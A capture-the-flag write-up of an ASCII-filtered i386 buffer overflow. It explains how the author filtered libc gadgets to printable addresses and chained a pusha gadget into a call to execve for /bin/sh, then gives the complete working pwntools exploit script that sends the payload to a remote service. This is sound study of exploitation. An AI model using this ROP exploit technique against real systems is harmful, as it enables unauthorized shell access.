This has been a fairly straightforward challenge. We were given with a binary that had a textbook buffer overflow with no canaries and NX enabled. The only twist in the story was the input filtering which only allowed ASCII characters. Each byte had to be between 0x20 and 0x7f otherwise the program terminated. This meant that the challenge boiled down to crafting a ROP chain that only contains the “good” characters.
Lucky for us, the program mmaped the provided libc.so to the ASCII friendly 0x5555e000 address. This map was going to serve our only source of ROP gadgets as the program binary itself was loaded on a bad address. I began solving the problem by getting a list of the available libc calls that reside on good addresses. The nm –dynamic libc.so command can be used to list exported symbols and I quickly put together a little python script to filter the results.
#!/usr/bin/python2 import sys with open('functions.list') as f: for line in f: try: address = int(line.split(), 16) + 0x5555e000 except ValueError: continue test = address try: for i in range(4): lbyte = (test & 0xff) if lbyte <= 0x1f or lbyte >0x7e: raise ValueError('shit happens') test = test>>8 except ValueError: continue sys.stdout.write(hex(address)+'/'+line) #line.split(' ', 1))
Unfortunately neither the system function nor the /bin/sh string was at a good address so I had to look for something else. It stuck to me that the gets function was available which could be used to overwrite my buffer with unfiltered data. This approach was a dead end and I briefly explain why. gets requires a single parameter a pointer to read to, which ,since this challenge was written on i386, is passed on the stack. I ideally wanted to overwrite the stack buffer so I had to push the ESP onto the stack, which seemed fairly easy to do. I quickly put together the ROP chain and then I realised that none of the libc variables are initialized. This is obviously not the real libc, just an mmaped binary blob, which means that libc init was never called and all the variables such as stdin pointer, env pointer are left as null. This of course breaks most of the libc function calls.
So I had to come up with a different approach relying only on system calls, or wrappers that do not use any of the aforementioned variables. My plan B became jumping to a call execve instruction with the correct parameters set up (I could not just jump to execve since it was on a bad address). The problem was that execve requires a pointer to the /bins/sh string, which is on a bad address, and two null pointers (for env and arg) which again cannot be directly supplied. So I had to set up these parameters in registers and push them on the stack in the right order then call execve.
I used ROPgadget –all to gather the gadgets and filtered the output the same way as I filtered the symbol list. I have spent some time looking through the gadgets to figure out where and how I could set up the parameters and then I found the pusha gadget. pusha pushes all the general purpose registers onto the stack in the following order EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI. This was perfect for me all that was left to do:
- set EAX to 0 as it is going to be the env pointer
- set ECX to 0 as the arg pointer
- calculate the address of /bin/sh in EDX
- put the address of call execve in EBX
- set the address of the next gadget in EDI which was going to be executed after the pusha, this gadget should pop off 3 items from the stack (former ESP, EDI, ESI) so that the call execve gets executed
There were pop edi and pop ebx gadgets so setting those up was trivial, just as well as setting EAX to null with a xor eax eax gadget. ECX was set to null with and xchg eax, ecx gadget and EDX was calculated with an add eax, 0xc35b0000 and sub edx, eax gadgets, setting EAX and EDX appropriately beforehand (/bin/sh: 0x556bb7ec = 0x3a212121-(0xc35b0000+0x215a6935)). The actual exploit code is really messy and I am too lazy to clean it up, so I am just gonna copy it here as is. I hope this explanation makes up for it. The ROP chain worked like a charm after spending considerable amount of time piecing it together, the flag was:
if __name__ == "__main__": c = remote(IP, PORT) binsh = 0x556bb7ec # 0x556d2a51/0x00174a51 : pop ecx ; add al, 0xa ; ret popecx = 0x556d2a51 # hex((0x3a212121-(0xc35b0000+0x215a6935))&0xffffffff) edxval = 0x3a212121 ecxval = 0x215a6935 # 0x555f3555/0x00095555 : pop edx ; xor eax, eax ; pop edi ; ret popedx = 0x555f3555 # 0 eax popedi filler = 'CCCC' # 0x556a6253/0x00148253 : mov eax, ecx ; ret moveaxecx = 0x556a6253 # 0x5557734b/0x0001934b : add eax, 0xc35b0000 ; ret addieax = 0x5557734b # 0x5560365c/0x000a565c : sub edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret subedxeax = 0x5560365c #pop esi,edi, ebp trash eax # Set up bin sh addr in edx payload = 'A'*32 +p32(popecx) + p32(ecxval)\ + p32(popedx) + p32(edxval) + filler \ + p32(moveaxecx)+p32(addieax) + p32(subedxeax) +filler*3 # 0x55617a5f/0x000b9a5f : xchg eax, ecx ; mov eax, 0xff ; jne 0xb9a41 ; ret xchgeaxecx = 0x55617a5f # 0x555f6428/0x00098428 : xor eax, eax ; ret xoreax = 0x555f6428 # Set null in ecx and eax payload += p32(xoreax) + p32(xchgeaxecx) + p32(xoreax) # 0x555f2166/0x00094166 : pop ebx ; pop edi ; ret popebxedi = 0x555f2166 callexecve = 0x55616967 # Set up ebx and edi # the subedxeax gadget pops esi, edi, ebp so #it is used to position the stack after the pusha payload += p32(popebxedi) + p32(callexecve) + p32(subedxeax) # pushal; ret; -> returns edi pushal = 0x5563704c # pushall payload += p32(pushal) #print hexdump(payload) payload += 'B'*(2398-len(payload)) #sys.stdout.write(payload) #sys.stdout.flush() c.sendline(payload) c.interactive()